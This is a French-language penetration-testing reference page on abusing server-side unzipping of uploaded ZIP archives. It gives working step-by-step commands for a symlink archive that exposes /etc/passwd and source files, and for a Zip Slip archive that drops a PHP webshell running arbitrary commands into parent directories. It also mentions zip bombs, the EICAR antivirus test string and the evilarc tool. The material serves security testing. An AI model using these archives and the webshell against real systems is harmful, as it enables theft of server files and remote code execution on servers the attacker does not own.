Facteur de risque : Information Disclosure, RCE via LFI, DoS
Extension : .zip
, .zipx
Type MIME : application/zip
Description :
Le ZIP est un format de fichier permettant l'archivage (utilisation d'un seul fichier pour stocker plusieurs fichiers) et la compression de données (diminution de l'espace occupé sur le support numérique) sans perte de qualité.
Si un fichier ZIP téléversé est décompressé ensuite par le serveur, plusieurs attaques peuvent être effectué.
- Information Disclosure : Zip Symlink
- RCE via LFI : Décompression dans d'autres dossiers / Zip Slip
- DoS : Zip Bomb
- Test anti malware avec Eicar
Les archives peuvent contenir des liens symboliques. Un lien symbolique est un fichier spécial qui le lie à un autre fichier. En uploadant un ZIP contenant un lien symbolique qui sera décompressé par la suite, on peut accéder au fichier lié. Cette exploit permet donc de récupérer des fichiers présents sur le serveur.
-
Le fichier ZIP doit être dézippé après avoir été uploadé.
-
Pourvoir accéder à ces fichiers
- Il faut créer d'abord le lien symbolique sur le fichier visé (ici /etc/passwd):
ln -s /etc/passwd passwd.txt
- Puis d'archiver ce fichier (ajoutez -r pour archiver un dossier):
zip --symlinks passwd.zip passwd.txt
- Et enfin, téléverser ce fichier
.zip
. Le fichierpasswd.txt
contiendra alors les données de/etc/passwd
du serveur web.
On peut ainsi récupérer les fichiers présents dans le serveur, comme le code source d'une page par exemple :
ln -s /var/www/html/index.php index.php
Les cybercriminels peuvent créer des archives Zip pour lancer des attaques par traversée de chemin afin d’écraser des fichiers importants sur les systèmes affectés, soit en les détruisant, soit en les remplaçant par d’autres fichiers malveillant
Cette méthode permet notamment de d'échapper au répertoires de téléchargement sécurisé, en remontant dans les répertoires non protégés pour pouvoir déposer un webshell par exemple.
-
Le fichier Zip doit être dézippé après avoir été uploadé.
-
Pourvoir accéder à ces fichiers
- (Facultatif) Aller dans le répétoire
/tmp
pour créer le fichier d'archive maveillant :
cd /tmp
- Écrire un webshell (ici en PHP) dans un fichier (ici
webshell.php
):
<?php echo "Shell";system($_GET['cmd']); ?>
- Puis, selon le niveau de profondeur voulu (ici jusqu'à 10), effetuez le code suivant :
for i in `seq 1 10`;do FILE=$FILE"xxA"; cp webshell.php $FILE"cmd.php";done
- Puis compresser le tout :
zip cmd.zip xx*.php
- Utiliser un éditeur hexadécimal pour changer les
xxA
en../
- Et enfin, téléverser ce fichier
.zip
sur l'application. Le webshell apparaitra alors dans les dossiers parents.
https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
La plupart des logiciels antivirus détecte le fichier de test Eicar. En téléversant ce fichier dans une application, on peut vérifier la présence ou le bon fonctionnement du logiciel antivirus.
Le fichier de test eicar.com est un fichier exécutable en .com
avec la chaîne ASCII suivante :
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
eicar_com.zip est un archive .zip
contenant le fichier de test Eicar. Un bon logiciel d'antivirus devra détecter le "virus", même à l'intérieur d'une archive.
Et eicarcom2.zip est un archive .zip
contenant l'archive du fichier de test Eicar. Ce fichier peut être uploadé pour voir si le logiciel d'antivirus vérifie les archives sur plusieurs niveaux de profondeur.
- Le fichier Zip doit être dézippé après avoir été uploadé.
-
ZIP :
-
LFI : ZIP Symlink
-
LFI : Décompression dans d'autres dossiers / ZIP Slip
-
Eicar : Anti Malware Testfile
- Pour les autresls archives.
- Ecrire un script pour pourvour décompresser dans d'autres dossiers GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities
- https://www.blackhat.com/docs/us-16/materials/us-16-Marie-I-Came-to-Drop-Bombs-Auditing-The-Compression-Algorithm-Weapons-Cache.pdf
- Ajouter
. zipx